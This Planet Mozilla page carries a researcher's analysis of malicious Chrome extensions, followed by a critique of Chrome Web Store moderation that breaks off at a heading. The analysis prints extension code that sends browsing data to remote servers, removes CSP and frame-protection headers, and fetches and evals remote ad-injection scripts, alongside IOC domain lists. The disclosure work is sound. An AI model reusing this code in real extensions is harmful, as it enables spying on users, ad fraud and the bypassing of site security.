Planet Mozilla

As noted last week I consider it highly problematic that Google for a long time allowed extensions to run code they downloaded from some web server, an approach that Mozilla prohibited long before Google even introduced extensions to their browser. For years this has been an easy way for malicious extensions to hide their functionality. When Google finally changed their mind, it wasn’t in form of a policy but rather a technical change introduced with Manifest V3.

As with most things about Manifest V3, these changes are meant for well-behaving extensions where they in fact improve security. As readers of this blog probably know, those who want to find loopholes will find them: I’ve already written about the Honey extension bundling its own JavaScript interpreter and malicious extensions essentially creating their own programming language. This article looks into more approaches I found used by malicious extensions in Chrome Web Store. And maybe Google will decide to prohibit remote code as a policy after all.

Update (2025-01-20): Added two extensions to the bonus section. Also indicated in the tables which extensions are currently featured in Chrome Web Store.

Update (2025-01-21): Got a sample of the malicious configurations for Phoenix Invicta extensions. Added a section describing it and removed “But what do these configurations actually do” section. Also added a bunch more domains to the IOCs section.

Summary of the findings

This article originally started as an investigation into Phoenix Invicta Inc. Consequently, this is the best researched part of it. While I could attribute only 14 extensions with rather meager user numbers to Phoenix Invicta, that’s likely because they’ve only started recently. I could find a large number of domain names, most of which aren’t currently being used by any extensions. A few are associated with extensions that have been removed from Chrome Web Store but most seem to be reserved for future use.

It can be assumed that these extensions are meant to inject ads into web pages, yet Phoenix Invicta clearly put some thought into plausible deniability. They can always claim their execution of remote code to be a bug in their otherwise perfectly legitimate extension functionality. So it will be interesting to see how Google will deal with these extensions, lacking (to my knowledge) any policies that apply here.

The malicious intent is a bit more obvious with the extensions that seem to be associated with Technosense Media Pvt. Ltd. This shouldn’t really come as a surprise to Google: the most popular extension of the group was a topic on this blog back in 2023, and a year before that McAfee already flagged three extensions of the group as malicious. Yet here we are, and these extensions are still capable of spying, affiliate fraud and cookie stuffing as described by McAfee. If anything, their potential to do damage has only increased.

Finally, the group of extensions around Sweet VPN is the most obviously malicious one. To be fair, what these extensions do is probably best described as obfuscation rather than remote code execution. Still, they download extensive instructions from their web servers even though these aren’t too flexible in what they can do without requiring changes to the extension code. Again there is spying on the users and likely affiliate fraud as well.

In the following sections I will be discussing each group separately, listing the extensions in question at the end of each section. There is also a complete list of websites involved in downloading instructions at the end of the article.

Phoenix Invicta

Let’s first take a look at an extension called “Volume Booster - Super Sound Booster.” It is one of several similar extensions and it is worth noting that the extension’s code is neither obfuscated nor minified. It isn’t hiding any of its functionality, relying on plausible deniability instead.

For example, in its manifest this extension requests access to all websites:

"host_permissions": [
  "http://*/*",
  "https://*/*"
],

Well, it obviously needs that access because it might have to boost volume on any website. Of course, it would be possible to write this extension in a way that the activeTab permission would suffice. But it isn’t built in this way.

Similarly, one could easily write a volume booster extension that doesn’t need to download a configuration file from some web server. In fact, this extension works just fine with its default configuration. But it will still download its configuration roughly every six hours just in case (code slightly simplified for readability):

let res = await fetch(`https://super-sound-booster.info/shortcuts?uuid=${userId}`,{
    method: 'POST',
    body: JSON.stringify({installParams}),
    headers: { 'Content-Type': 'text/plain' }
});
let data = await res.json();
if (data.shortcuts) {
    chrome.storage.local.set({
        shortcuts: {
            list: data.shortcuts,
            updatedAt: Date.now(),
        }
    });
}
if (data.volumeHeaders) {
    chrome.storage.local.set({
        volumeHeaderRules: data.volumeHeaders
    });
}
if (data.newsPage) {
    this.openNewsPage(data.newsPage.pageId, data.newsPage.options);
}

This will send a unique user ID to a server which might then respond with a JSON file. Conveniently, the three possible values in this configuration file represent three malicious functions of the extensions.

Injecting HTML code into web pages

The extension contains a default “shortcut” which it will inject into all web pages. It can typically be seen in the lower right corner of a web page:

And if you move your mouse pointer to that button a message shows up:

That’s it, it doesn’t do anything else. This “feature” makes no sense but it provides the extension with plausible deniability: it has a legitimate reason to inject HTML code into all web pages.

And of course that “shortcut” is remotely configurable. So the shortcuts value in the configuration response can define other HTML code to be injected, along with a regular expression determining which websites it should be applied to.

“Accidentally” this HTML code isn’t subject to the remote code restrictions that apply to browser extensions. After all, any JavaScript code contained here would execute in the context of the website, not in the context of the extension. While that code wouldn’t have access to the extension’s privileges, the end result is pretty much the same: it could e.g. spy on the user as they use the web page, transmit login credentials being entered, inject ads into the page and redirect searches to a different search engine.

Abusing declarativeNetRequest API

There is only a slight issue here: a website might use a security mechanism called Content Security Policy (CSP). And that mechanism can for example restrict what kind of scripts are allowed to run on the web site, in the same way the browser restricts the allowed scripts for the extension.

The extension solves this issue by abusing the immensely powerful declarativeNetRequest API. Looking at the extension manifest, a static rule is defined for this API:

[
    {
        "id": 1,
        "priority": 1,
        "action": {
            "type": "modifyHeaders",
            "responseHeaders": [
                { "header": "gain-id", "operation": "remove" },
                { "header": "basic-gain", "operation": "remove" },
                { "header": "audio-simulation-64-bit", "operation": "remove" },
                { "header": "content-security-policy", "operation": "remove" },
                { "header": "audio-simulation-128-bit", "operation": "remove" },
                { "header": "x-frame-options", "operation": "remove" },
                { "header": "x-context-audio", "operation": "remove" }
            ]
        },
        "condition": { "urlFilter": "*", "resourceTypes": ["main_frame","sub_frame"] }
    }
]

This removes a bunch of headers from all HTTP responses. Most headers listed here are red herrings – a gain-id HTTP header for example doesn’t really exist. But removing Content-Security-Policy header is meant to disable CSP protection on all websites. And removing X-Frame-Options header disables another security mechanism that might prevent injecting frames into a website. This probably means that the extension is meant to inject advertising frames into websites.

But these default declarativeNetRequest rules aren’t the end of the story. The volumeHeaders value in the configuration response allows adding more rules whenever the server decides that some are needed. As these rules aren’t code, the usual restrictions against remote code don’t apply here.

The name seems to suggest that these rules are all about messing with HTTP headers. And maybe this actually happens, e.g. adding cookie headers required for cookie stuffing. But judging from other extensions the main point is rather preventing any installed ad blockers from blocking ads displayed by the extension. Yet these rules provide even more damage potential. For example, declarativeNetRequest allows “redirecting” requests which on the first glance is a very convenient way to perform affiliate fraud. It also allows “redirecting” requests when a website loads a script from a trusted source, making it get a malicious script instead – another way to hijack websites.

Side-note: This abuse potential is the reason why legitimate ad blockers, while downloading their rules from a web server, never make these rules as powerful as the declarativeNetRequest API. It’s bad enough that a malicious rule could break the functionality of a website, but it shouldn’t be able to spy on the user for example.

Opening new tabs

Finally, there is the newsPage value in the configuration response. It is passed to the openNewsPage function which is essentially a wrapper around tabs.create() API. This will load a page in a new tab, something that extension developers typically use for benign things like asking for donations.

Except that Volume Booster and similar extensions don’t merely take a page address from the configuration but also some options. Volume Booster will take any options, other extensions will sometimes allow only specific options instead. One option that the developers of these extensions seem to particularly care about is active which allows opening tabs in background. This makes me suspect that the point of this feature is displaying pop-under advertisements.

The scheme summarized

There are many extensions similar to Volume Booster. The general approach seems to be:

1. Make sure that the extension has permission to access all websites. Find a pretense why this is needed – or don’t, Google doesn’t seem to care too much.
2. Find a reason why the extension needs to download its configuration from a web server. It doesn’t need to be convincing, nobody will ever ask why you couldn’t just keep that “configuration” in the extension.
3. Use a part of that configuration in HTML code that the extension will inject in web pages. Of course you should “forget” to do any escaping or sanitization, so that HTML injection is possible.
4. Feed another part of the configuration to declarativeNetRequest API. Alternatively (or additionally), use static rules in the extension that will remove pesky security headers from all websites, nobody will ask why you need that.

Not all extensions implement all of these points. With some of the extensions the malicious functionality seems incomplete. I assume that it isn’t being added all at once, instead the support for malicious configurations is added slowly to avoid raising suspicions. And maybe for some extensions the current state is considered “good enough,” so nothing is to come here any more.

The payload

After I already published this article I finally got a sample of the malicious “shortcut” value, to be applied on all websites. Unsurprisingly, it had the form:

<img height="1" width="1" src="data:image/gif;base64,…"
     onload="(() => {…})();this.remove()">

This injects an invisible image into the page, runs some JavaScript code via its load event handler and removes the image again. The JavaScript code consists of two code blocks. The first block goes like this:

if (isGoogle() || isFrame()) {
    hideIt();
    const script = yield loadScript();
    if (script) {
        window.eval.call(window, script);
        window.gsrpdt = 1;
        window.gsrpdta = '_new'
    }
}

The isGoogle function looks for a Google subdomain and a query – this is about search pages. The isFrame function looks for frames but excludes “our frames” where the address contains all the strings q=, frmid and gsc.page. The loadScript function fetches a script from https://shurkul[.]online/v1712/g1001.js. This script then injects a hidden frame into the page, loaded either from kralforum.com.tr (Edge) or rumorpix.com (other browsers). There is also some tracking to an endpoint on dev.astralink.click but the main logic operating the frame is in the other code block.

The second code block looks like this (somewhat simplified for readability):

if (window.top == window.self) {
    let response = await fetch('https://everyview.info/c', {
        method: 'POST',
        body: btoa(unescape(encodeURIComponent(JSON.stringify({
            u: 'm5zthzwa3mimyyaq6e9',
            e: 'ojkoofedgcdebdnajjeodlooojdphnlj',
            d: document.location.hostname,
            t: document.title,
            'iso': 4
        })))),
        headers: {
            'Content-Type': 'text/plain'
        },
        credentials: 'include'
    });
    let text = await response.text();
    runScript(decodeURIComponent(escape(atob(text))));
} else {
    window.addEventListener('message', function(event) {
        event && event.data && event.data.boosterWorker &&
            event.data.booster && runScript(event.data.booster);
    });
}

So for top-level documents this downloads some script from everyview.info and runs it. That script in turn injects another script from lottingem.com. And that script loads some ads from gulkayak.com or topodat.info as well as Google ads, makes sure these are displayed in the frame and positions the frame above the search results. The result are ads which can be barely distinguished from actual search results, here is what I get searching for “amazon” for example:

The second code block also has some additional tracking going to doubleview.online, astato.online, doublestat.info, triplestat.online domains.

The payloads I got for the Manual Finder 2024 and Manuals Viewer extensions are similar but not identical. In particular, these use fivem.com.tr domain for the frame. But the result is essentially the same: ads that are almost impossible to distinguish from the search results. In this screenshot the link at the bottom is a search result, the one above it is an ad:

Who is behind these extensions?

These extensions are associated with a company named Phoenix Invicta Inc, formerly Funteq Inc. While supposedly a US company of around 20 people, its terms of service claim to be governed by Hong Kong law, all while the company hires its employees in Ukraine. While it doesn’t seem to have any physical offices, the company offers its employees the use of two co-working spaces in Kyiv. To add even more confusion, Funteq Inc. was registered in the US with its “office address” being a two room apartment in Moscow.

Before founding this company in 2016 its CEO worked as CTO of something called Ormes.ru. Apparently, Ormes.ru was in the business of monetizing apps and browser extensions. Its sales pitches can still be found all over the web, offering extension developers to earn money with various kinds of ads. Clearly, there has been some competence transfer here.

Occasionally Phoenix Invicta websites will claim to be run by another company named Damiko Inc. Of course these claims don’t have to mean anything, as the same websites will also occasionally claim to be run by a company in the business of … checks notes … selling knifes.

Yet Damiko Inc. is officially offering a number of extensions in the Chrome Web Store. And while these certainly aren’t the same as the Phoenix Invicta extensions, all but one of these extensions share certain similarities with them. In particular, these extensions remove the Content-Security-Policy HTTP header despite having no means of injecting HTML content into web pages from what I can tell.

Damiko Inc. appears to be a subsidiary of the Russian TomskSoft LLC, operating in the US under the name Tomsk Inc. How does this fit together? Did TomskSoft contract Phoenix Invicta to develop browser extensions for them? Or is Phoenix Invicta another subsidiary of TomskSoft? Or some other construct maybe? I don’t know. I asked TomskSoft for comment on their relationship with this company but haven’t received a response so far.

The affected extensions

The following extensions are associated with Phoenix Invicta:

The following table also lists the extensions officially developed by Damiko Inc. With these, there is no indication of malicious intent, yet all but the last one share similarities with Phoenix Invicta extensions above and remove security headers.

Technosense Media

Back in 2023 I pointed out that “Adblock all advertisements” is malicious and spying on its users. A year earlier McAfee already called out a bunch of extensions as malicious. For whatever reason, Google decided to let Adblock all advertisements stay, and three extensions from the McAfee article also remained in Chrome Web Store: Netflix Party, FlipShope and AutoBuy Flash Sales.

Spying on the users

Coming back to Adblock all advertisements, it is still clearly spying on its users, using ad blocking functionality as a pretense to send the address of each page visited to its server (code slightly simplified for readability):

chrome.tabs.onUpdated.addListener(async (tabId, changeInfo, tab) => {
  if ("complete" === changeInfo.status) {
    let params = {
      url: tab.url,
      userId: await chrome.storage.sync.get("userId")
    };
    const response = await fetch("https://smartadblocker.com/extension/rules/api", {
      method: "POST",
      credentials: "include",
      headers: { "Content-Type": "application/json" },
      body: JSON.stringify(params)
    });
    const rules = await response.json();
    …
  }
});

Supposedly, this code downloads a set of site-specific rules. This could in theory be legitimate functionality not meant to spy on users. That it isn’t legitimate functionality here isn’t indicated merely by the fact that the endpoint doesn’t produce any really meaningful responses. Legitimate functionality not intending to spy wouldn’t send a unique user ID with the request, the page address would be cut down to the host name (or would at least have all parameters removed) and the response would be cached. The latter would happen simply to reduce the load on this endpoint, something that anybody does unless the endpoint is paid for with users’ data.

The bogus rule processing

Nothing about the section above is new, I’ve already written as much in 2023. But either I haven’t taken a close look at the rule processing back then or it got considerably worse. Here is what it looks like today (variable and function naming is mine, the code was minified):

for (const key in rules)
  if ("id" === key || "genericId" === key)
    // Remove elements by ID
  else if ("class" === key || "genericClass" === key)
    // Remove elements by class name
  else if ("innerText" === key)
    // Remove elements by text
  else if ("rules" === key)
    if (rules.updateRules)
      applyRules(rules[key], rules.rule_scope, tabId);
  else if ("cc" === key)
    // Bogus logic to let the server decide which language-specific filter list
    // should be enabled

The interesting part here is the applyRules call which conveniently isn’t triggered by the initial server responses (updateRules key is set to false). This function looks roughly like this:

async function applyRules(rules, scope, tabId) {
  if ("global" !== scope) {
    if (0 !== rules.length) {
      const existingRules = await chrome.declarativeNetRequest.getDynamicRules();
      const ruleIds = existingRules.map(rule => rule.id);
      chrome.declarativeNetRequest.updateDynamicRules({
        removeRuleIds: ruleIds,
        addRules: rules
      });
    }
  } else {
    chrome.tabs.sendMessage(tabId, {
      message: "start",
      link: rules
    });
  }
}

So if the “scope” is anything but "global" the rules provided by the server will be added to the declarativeNetRequest API. Modifying these rules on per-request basis makes no sense for ad blocking, but it opens up rich possibilities for abuse as we’ve seen already. Given what McAfee discovered about these extensions before this is likely meant for cookie stuffing, yet execution of arbitrary JavaScript code in the context of targeted web pages is also a possible scenario.

And if the “scope” is "global" the extension sends a message to its content script which will inject a frame with the given address into the page. Again, this makes no sense whatsoever for blocking ads, but it definitely works for affiliate fraud – which is what these extensions are all about according to McAfee.

Depending on the extension there might be only frame injection or only adding of dynamic rules. Also, the logic in Flipshope extension is considerably different yet still recognizable. Given the purpose of the Flipshope and AutoBuy extensions, these can probably pass as legitimate by Google’s rules, others not so much.

Who is behind these extensions?

The Flipshope extension is being officially developed by the India-based Technosense Media Pvt. Ltd. I don’t know how exactly the other extensions are affiliated with Technosense Media but they are clearly using their code. Given how in Smart Auto Refresh for example the malicious functionality is separate from the regular extension functionality, and the endpoint for it is on a subdomain hosted separately from the extension’s main website, this might be another case where a company provides extension authors with a “monetization solution.”

The affected extensions

Sweet VPN

I’ll be looking at Sweet VPN as representative for 32 extensions I found using highly obfuscated code. These extensions aren’t exactly new to this blog either, my post in 2023 already named three of them even though I couldn’t identify the malicious functionality back then. Most likely I simply overlooked it, I didn’t have time to investigate each extension thoroughly.

These extensions also decided to circumvent remote code restrictions but their approach is way more elaborate. They download some JSON data from the server and add it to the extension’s storage. While some keys like proxy_list are expected here and always present, a number of others are absent from the server response when the extension is first installed. These can contain malicious instructions.

Anti-debugging protection

For example, the four keys 0, 1, 2, 3 seem to be meant for anti-debugging protection. If present, the values of these keys are concatenated and parsed as JSON into an array. A property resolution mechanism then allows resolving arbitrarily deep values, starting at the self object of the extension’s background worker. The result are three values which are used like this:

value1({value2: value3}, result => {
  …
});

This call is repeated every three seconds. If result is a non-empty array, the extension removes all but a few storage keys and stops further checks. This is clearly meant to remove traces of malicious activity. I am not aware of any ways for an extension to detect an open Developer Tools window, so this call is probably meant to detect the extension management page that Developer Tools are opened from:

chrome.tabs.query({"url": "chrome://extensions/*"}, result => {
  …
});

Guessing further functionality

This protection mechanism is only a very small part of the obfuscated logic in the extension. There are lots of values being decoded, tossed around, used in some function calls. It is difficult to reconstruct the logic with the key parts missing. However, the extension doesn’t have too many permissions:

"permissions": [
  "proxy",
  "storage",
  "tabs"
],
"host_permissions": [
  "https://ipapi.co/json/",
  "https://ip.seeip.org/geoip",
  "https://api.myip.com/",
  "https://ifconfig.co/json"
],

Given that almost no websites can be accessed directly, it’s a safe bet that the purpose of the concealed functionality is spying on the users. That’s what the tabs permission is for, to be notified of any changes in the user’s browsing session.

In fact, once you know that the function being passed as parameter is a tabs.onUpdated listener its logic becomes way easier to understand, despite the missing parts. So the cl key in the extension’s storage (other extensions often use other names) is the event queue where data about the user’s browsing is being stored. Once there are at least 10 events the queue is sent to the same address where the extension downloads its configuration from.

There are also some chrome.tabs.update() calls in the code, replacing the address of the currently loading page by something else. It’s hard to be certain what these are used for: it could be search redirection, affiliate fraud or plainly navigating to advertising pages.

The affected extensions

Bonus section: more malicious extensions

Update (2025-01-20): Added Adblock Bear and AdBlock 360 after a hint from a commenter.

As is often the case with Chrome Web Store, my searches regularly turned up more malicious extensions unrelated to the ones I was looking for. Some of them also devised their mechanisms to execute remote code. I didn’t find more extensions using the same approach, which of course doesn’t mean that there are none.

Adblock for Youtube is yet another browser extension essentially bundling an interpreter for their very own minimalistic programming language. One part of the instructions it receives from its server is executed in the context of the privileged background worker, the other in the content script context.

EasyNav, Adblock Bear and AdBlock 360 use an approach quite similar to Phoenix Invicta. In particular, they add rules to the declarativeNetRequest API that they receive from their respective server. EasyNav also removes security headers. These extensions don’t bother with HTML injection however, instead their server produces a list of scripts to be injected into web pages. There are specific scripts for some domains and a fallback for everything else.

Download Manager Integration Checklist is merely supposed to display some instructions, it shouldn’t need any privileges at all. Yet this extension requests access to all web pages and will add rules to the declarativeNetRequest API that it downloads from its server.

Translator makes it look like its configuration is all about downloading a list of languages. But it also contains a regular expression to test against website addresses and the instructions on what to do with matching websites: a tag name of the element to create and a bunch of attributes to set. Given that the element isn’t removed after insertion, this is probably about injecting advertising frames. This mechanism could just as well be used to inject a script however.

The affected extensions

IOCs

The following domain names are associated with Phoenix Invicta:

• 1-click-cp[.]com
• adblock-ads-and-yt[.]pro
• agadata[.]online
• anysearch[.]guru
• anysearchnow[.]info
• astatic[.]site
• astato[.]online
• astralink[.]click
• best-browser-extensions[.]com
• better-color-picker[.]guru
• betterfind[.]online
• capture-it[.]online
• chrome-settings[.]online
• click-and-pick[.]pro
• color-picker-quick[.]info
• customcursors[.]online
• dailyview[.]site
• datalocked[.]online
• dmext[.]online
• dopni[.]com
• doublestat[.]info
• doubleview[.]online
• easy-dark-mode[.]online
• emojikeyboard[.]site
• everyview[.]info
• fasterbrowser[.]online
• fastertabs[.]online
• findmanual[.]org
• fivem[.]com[.]tr
• fixfind[.]online
• font-expert[.]pro
• freestikers[.]top
• freetabmemory[.]online
• get-any-manual[.]pro
• get-manual[.]info
• getresult[.]guru
• good-ship[.]com
• gulkayak[.]com
• isstillalive[.]com
• kralforum[.]com[.]tr
• locodata[.]site
• lottingem[.]com
• manual-finder[.]site
• manuals-viewer[.]info
• megaboost[.]site
• nocodata[.]online
• ntdataview[.]online
• picky-ext[.]pro
• pocodata[.]pro
• readtxt[.]pro
• rumorpix[.]com
• screencapx[.]co
• searchglobal[.]online
• search-protection[.]org
• searchresultspage[.]online
• shurkul[.]online
• skipadsplus[.]online
• skip-all-ads[.]info
• skip-n-watch[.]info
• skippy[.]pro
• smartsearch[.]guru
• smartsearch[.]top
• socialtab[.]top
• soundbooster[.]online
• speechit[.]pro
• super-sound-booster[.]info
• tabmemoptimizer[.]site
• taboptimizer[.]com
• text-speecher[.]online
• topodat[.]info
• triplestat[.]online
• true-sound-booster[.]online
• ufind[.]site
• video-downloader-click-save[.]online
• video-downloader-plus[.]info
• vipoisk[.]ru
• vipsearch[.]guru
• vipsearch[.]top
• voicereader[.]online
• websiteconf[.]online
• youtube-ads-skip[.]site
• ystatic[.]site

The following domain names are used by extensions associated with Technosense Media:

• abforbrowser[.]com
• autorefresh[.]co
• flipshope[.]com
• getmatchingcouponsanddeals[.]info
• smartadblocker[.]com
• telenetflixparty[.]com
• ytadblock[.]com
• ytadskip[.]com

The following domain names are used by Sweet VPN and related extensions:

• analyticsbatch[.]com
• aquafreevpn[.]com
• batchindex[.]com
• browserdatahub[.]com
• browserlisting[.]com
• checkbrowserer[.]com
• countstatistic[.]com
• estimatestatistic[.]com
• metricbashboard[.]com
• proxy-config[.]com
• qippin[.]com
• realtimestatistic[.]com
• secondstatistic[.]com
• securemastervpn[.]com
• shceduleuser[.]com
• statisticindex[.]com
• sweet-vpn[.]com
• timeinspection[.]com
• traficmetrics[.]com
• trafficreqort[.]com
• ultimeo-downloader[.]com
• unbansocial[.]com
• userestimate[.]com
• virtualstatist[.]com
• webstatscheck[.]com

These domain names are used by the extensions in the bonus section:

• adblock-360[.]com
• easynav[.]net
• internetdownloadmanager[.]top
• privacy-bear[.]net
• skipads-ytb[.]com
• translatories[.]com

Let’s make one thing clear first: I’m not singling out Google’s handling of problematic and malicious browser extensions because it is worse than Microsoft’s for example. No, Microsoft is probably even worse but I never bothered finding out. That’s because Microsoft Edge doesn’t matter, its market share is too small. Google Chrome on the other hand is used by around 90% of the users world-wide, and one would expect Google to take their responsibility to protect its users very seriously, right? After all, browser extensions are one selling point of Google Chrome, so certainly Google would make sure they are safe?

Unfortunately, my experience reporting numerous malicious or otherwise problematic browser extensions speaks otherwise. Google appears to take the “least effort required” approach towards moderating Chrome Web Store. Their attempts to automate all things moderation do little to deter malicious actors, all while creating considerable issues for authors of legitimate add-ons. Even when reports reach Google’s human moderation team, the actions taken are inconsistent, and Google generally shies away from taking decisive actions against established businesses.

As a result, for a decade my recommendation for Chrome users has been to stay away from Chrome Web Store if possible. Whenever extensions are absolutely necessary, it should be known who is developing them, why, and how the development is being funded. Just installing some extension from Chrome Web Store, including those recommended by Google or “featured,” is very likely to result in your browsing data being sold or worse.

Google employees will certainly disagree with me. Sadly, much of it is organizational blindness. I am certain that you meant it well and that you did many innovative things to make it work. But looking at it from the outside, it’s the result that matters. And for the end users the result is a huge (and rather dangerous) mess.

Some recent examples

Five years ago I discovered that Avast browser extensions were spying on their users. Mozilla and Opera disabled the extension listings immediately after I reported it to them. Google on the other hand took two weeks where they supposedly discussed their policies internally. The result of that discussion was eventually their “no surprises” policy:

Building and maintaining user trust in the Chrome Web Store is paramount, which means we set a high bar for developer transparency. All functionalities of extensions should be clearly disclosed to the user, with no surprises. This means we will remove extensions which appear to deceive or mislead users, enable dishonest behavior, or utilize clickbaity functionality to artificially grow their distribution.

So when dishonest behavior from extensions is reported today, Google should act immediately and decisively, right? Let’s take a look at two examples that came up in the past few months.

In October I wrote about the refoorest extension deceiving its users. I could conclusively prove that Colibri Hero, the company behind refoorest, deceives their users on the number of trees they supposedly plant, incentivizing users into installing with empty promises. In fact, there is strong indication that the company never even donated for planting trees beyond a rather modest one-time donation.

Google got my report and dealt with it. What kind of action did they take? That’s a very good question that Google won’t answer. But refoorest is still available from Chrome Web Store, it is still “featured” and it still advertises the very same completely made up numbers of trees they supposedly planted. Google even advertises for the extension, listing it in the “Editors’ Picks extensions” collection, probably the reason why it gained some users since my report. So much about being honest. For comparison: refoorest used to be available from Firefox Add-ons as well but was already removed when I started my investigation. Opera removed the extension from their add-on store within hours of my report.

But maybe that issue wasn’t serious enough? After all, there is no harm done to users if the company is simply pocketing the money they claim to spend on a good cause. So also in October I wrote about the Karma extension spying on users. Users are not being notified about their browsing data being collected and sold, except for a note buried in their privacy policy. Certainly, that’s identical to the Avast case mentioned before and the extension needs to be taken down to protect users?

Again, Google got my report and dealt with it. And again I fail to see any result of their action. The Karma extension remains available on Chrome Web Store unchanged, it will still notify their server about every web page you visit (see screenshot above). The users still aren’t informed about this. Yet their Chrome Web Store page continues to claim “This developer declares that your data is not being sold to third parties, outside of the approved use cases,” a statement contradicted by their privacy policy. The extension appears to have lost its “Featured” badge at some point but now it is back.

Note: Of course Karma isn’t the only data broker that Google tolerates in Chrome Web Store. I published a guest article today by a researcher who didn’t want to disclose their identity, explaining their experience with BIScience Ltd., a company misleading millions of extension users to collect and sell their browsing data. This post also explains how Google’s “approved use cases” effectively allow pretty much any abuse of users’ data.

Mind you, neither refoorest nor Karma were alone but rather recruited or bought other browser extensions as well. These other browser extensions were turned outright malicious, with stealth functionality to perform affiliate fraud and/or collect users’ browsing history. Google’s reaction was very inconsistent here. While most extensions affiliated with Karma were removed from Chrome Web Store, the extension with the highest user numbers (and performing affiliate fraud without telling their users) was allowed to remain for some reason.

With refoorest, most affiliate extensions were removed or stopped using their Impact Hero SDK. Yet when I checked more than two months after my report two extensions from my original list still appeared to include that hidden affiliate fraud functionality and I found seven new ones that Google apparently didn’t notice.

The reporting process

Now you may be wondering: if I reported these issues, why do I have to guess what Google did in response to my reports? Actually, keeping me in the dark is Google’s official policy:

This is by the way the response I received in November after pointing out the inconsistent treatment of the extensions. A month later the state of affairs was still that some malicious extensions got removed while other extensions with identical functionality were available for users to install, and I have no idea why that is. I’ve heard before that Google employees aren’t allowed to discuss enforcement actions, and your guess is as good as mine as to whom this policy is supposed to protect.

Supposedly, the idea of not commenting on policy enforcement actions is hiding the internal decision making from bad actors, so that they don’t know how to game the process. If that’s the theory however, it isn’t working. In this particular case the bad actors got some feedback, be it through their extensions being removed or due to the adjustments demanded by Google. It’s only me, the reporter of these issues, who needs to be guessing.

But, and this is a positive development, I’ve received a confirmation that both these reports are being worked on. This is more than I usually get from Google which is: silence. And typically also no visible reaction either, at least until a report starts circulating in media publications forcing Google to act on it.

But let’s take a step back and ask ourselves: how does one report Chrome Web Store policy violations? Given how much Google emphasizes their policies, there should be an obvious way?

In fact, there is a support document on reporting issues. And when I started asking around, even Google employees would direct me to it.

If you find something in the Chrome Web Store that violates the Chrome Web Store Terms of Service, or trademark or copyright infringement, let us know.

Sounds good, right? Except that the first option says:

At the bottom left of the window, click Flag Issue.

Ok, that’s clearly the old Chrome Web Store. But we understand of course that they mean the “Flag concern” link which is nowhere near the bottom. And it gives us the following selection:

This doesn’t really seem like the place to report policy violations. Even “Felt suspicious” isn’t right for an issue you can prove. And, unsurprisingly, after choosing this option Google just responds with:

Your abuse report has been submitted successfully.

No way to provide any details. No asking for my contact details in case they have questions. No context whatsoever, merely “felt suspicious.” This is probably fed to some algorithm somewhere which might result in… what actually? Judging by malicious extensions where users have been vocally complaining, often for years: nothing whatsoever. This isn’t the way.

Well, there is another option listed in the document:

If you think an item in the Chrome Web Store violates a copyright or trademark, fill out this form.

Yes, Google seems to care about copyright and trademark violations, but a policy violation isn’t that. If we try the form nevertheless it gives us a promising selection:

Finally! Yes, policy reasons are exactly what we are after, let’s click that. And there comes another choice:

That’s really the only option offered. And I have questions. At the very least those are: in what jurisdiction is child sexual abuse material a non-legal reason to report content? And: since when is that the only policy that Chrome Web Store has?

We can go back and try “Legal Reasons to Report Content” of course but the options available are really legal issues: intellectual properties, court orders or violations of hate speech law. This is another dead end.

It took me a lot of asking around to learn that the real (and well-hidden) way to report Chrome Web Store policy violations is Chrome Web Store One Stop Support. I mean: I get it that Google must be getting lots of non-sense reports. And they probably want to limit that flood somehow. But making legitimate reports almost impossible can’t really be the way.

In 2019 Google launched the Developer Data Protection Reward Program (DDPRP) meant to address privacy violations in Chrome extensions. Its participation conditions were rather narrow for my taste, pretty much no issue would qualify for the program. But at least it was a reliable way to report issues which might even get forwarded internally. Unfortunately, Google discontinued this program in August 2024.

It’s not that I am very convinced of DDPRP’s performance. I’ve used that program twice. First time I reported Keepa’s data exfiltration. DDPRP paid me an award for the report but, from what I could tell, allowed the extension to continue unchanged. The second report was about the malicious PDF Toolbox extension. The report was deemed out of scope for the program but forwarded internally. The extension was then removed quickly, but that might have been due to the media coverage. The benefit of the program was really: it was a documented way of reaching a human being at Google that would look at a problematic extension.

Chrome Web Store and their spam issue

In theory, there should be no spam on Chrome Web Store. The policy is quite clear on that:

We don’t allow any developer, related developer accounts, or their affiliates to submit multiple extensions that provide duplicate experiences or functionality on the Chrome Web Store.

Unfortunately, this policy’s enforcement is lax at best. Back in June 2023 I wrote about a malicious cluster of Chrome extensions. I listed 108 extensions belonging to this cluster, pointing out their spamming in particular:

Well, 13 almost identical video downloaders, 9 almost identical volume boosters, 9 almost identical translation extensions, 5 almost identical screen recorders are definitely not providing value.

I’ve also documented the outright malicious extensions in this cluster, pointing out that other extensions are likely to turn malicious as well once they have sufficient users. And how did Google respond? The malicious extensions have been removed, yes. But other than that, 96 extensions from my original list remained active in January 2025, and there were of course more extensions that my original report didn’t list. For whatever reason, Google chose not to enforce their anti-spam policy against them.

And that’s merely one example. My most recent blog post documented 920 extensions using tricks to spam Chrome Web Store, most of them belonging to a few large extension clusters. As it turned out, Google was made aware of this particular trick a year before my blog post already. And again, for some reason Google chose not to act.

Can extension reviews be trusted?

So when you search for extensions in Chrome Web Store, many results will likely come from one of the spam clusters. But the choice to install a particular extension is typically based on reviews. Can at least these reviews be trusted? Concerning moderation of reviews Google says:

Google doesn’t verify the authenticity of reviews and ratings, but reviews that violate our terms of service will be removed.

And the important part in the terms of service is:

Your reviews should reflect the experience you’ve had with the content or service you’re reviewing. Do not post fake or inaccurate reviews, the same review multiple times, reviews for the same content from multiple accounts, reviews to mislead other users or manipulate the rating, or reviews on behalf of others. Do not misrepresent your identity or your affiliation to the content you’re reviewing.

Now you may be wondering how well these rules are being enforced. The obviously fake review on the Karma extension is still there, three months after being posted. Not that it matters, with their continuous stream of incoming five star reviews.

A month ago I reported an extension to Google that, despite having merely 10,000 users, received 19 five star reviews on a single day in September – and only a single (negative) review since then. I pointed out that it is a consistent pattern across all extensions of this account, e.g. another extension (merely 30 users) received 9 five star reviews on the same day. It really doesn’t get any more obvious than that. Yet all these reviews are still online.

And it isn’t only fake reviews. The refoorest extension incentivizes reviews which violates Google’s anti-spam policy (emphasis mine):

Developers must not attempt to manipulate the placement of any extensions in the Chrome Web Store. This includes, but is not limited to, inflating product ratings, reviews, or install counts by illegitimate means, such as fraudulent or incentivized downloads, reviews and ratings.

It has been three months, and they are still allowed to continue. The extension gets a massive amount of overwhelmingly positive reviews, users get their fake trees, everybody is happy. Well, other than the people trying to make sense of these meaningless reviews.

With reviews being so easy to game, it looks like lots of extensions are doing it. Sometimes it shows as a clearly inflated review count, sometimes it’s the overwhelmingly positive or meaningless content. At this point, any user ratings with the average above 4 stars likely have been messed with.

The “featured” extensions

